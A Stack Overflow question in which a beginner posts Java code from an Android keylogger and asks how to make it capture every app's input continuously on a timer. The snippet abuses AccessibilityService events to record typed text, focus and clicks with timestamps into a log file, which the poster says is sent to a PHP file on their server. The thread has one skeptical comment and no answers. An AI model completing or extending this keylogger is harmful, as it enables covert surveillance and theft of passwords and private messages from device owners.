0

I am not a coder, just tring to learn and understand Java. I have code for Android Keylogger, which collects keystrokes and send to php file.

I get log also ,but not all, but I want 3 things to working

  1. How I set particular time for getting logs?
  2. How I get all open app/window logs?
  3. How I get continue log? Meaning when Keylogger command is given, it should be continue get logs as timer set

Here is main Java code:

if(onKeylogger) {

        try {

            DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);

            String time = df.format(Calendar.getInstance().getTime());

            switch (event.getEventType()) {//Keylogger

                case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {

                    String data = event.getText().toString();

                    SF.Log("KEY1", time + "|(TEXT)|" + data);
                    textKeylogger = time + "|(TEXT)|" + data + "|^|";
                    break;
                }

                case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
                    String data = event.getText().toString();
                    SF.Log("KEY2", time + "|(FOCUSED)|" + data);
                    textKeylogger = time + "|(FOCUSED)|" + data + "|^|";
                    break;
                }

                case AccessibilityEvent.TYPE_VIEW_CLICKED: {
                    String data = event.getText().toString();
                    SF.Log("KEY3", time + "|(CLICKED)|" + data);
                    textKeylogger = time + "|(CLICKED)|" + data + "|^|";
                    break;
                }

                default:
                    break;
            }
        } catch (Exception ex) {

            SF.Log("ERROR1","AccessibilityService");
        }
    }

    AccessibilityNodeInfo nodeInfo = event.getSource();


    if (AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED == event.getEventType()) {

          try {
                //---keylogger---

                if (onKeylogger) {

                    if (textKeylogger.length() > 2) {

                        writeFile("keys.log", textKeylogger);
                    }
                }

                if (SF.SetRead(this, "keylogger").equals("true")) {
                    onKeylogger = true;
                } else {
                    onKeylogger = false;
                }


 //---------------//

I get instant log , I tried to changed some code like

(textKeylogger.length() > 2)

to

(textKeylogger.length() > 20)

Sorry, as I am beginner, so may it may silly editing. But not all logs I get at my php file.

Note : these code Grab keystrokes, which generate .txt log file at my server panel.

James Z
  • 12,209
  • 10
  • 24
  • 44
  • Take a look at this response to a question about detecting key loggers, I don't think what you are trying to achieve is possible due to security, without a custom keyboard. https://stackoverflow.com/a/27264989/10573058 – Scott Evans Nov 25 '19 at 02:28
  • Sir , just I want to modify code so that my purpose is fulfilled , and it's open source from google search , so no security issue.. I asked here , because I think many Java expert can help me out.. – Abhi King Dec 10 '19 at 08:40

0 Answers0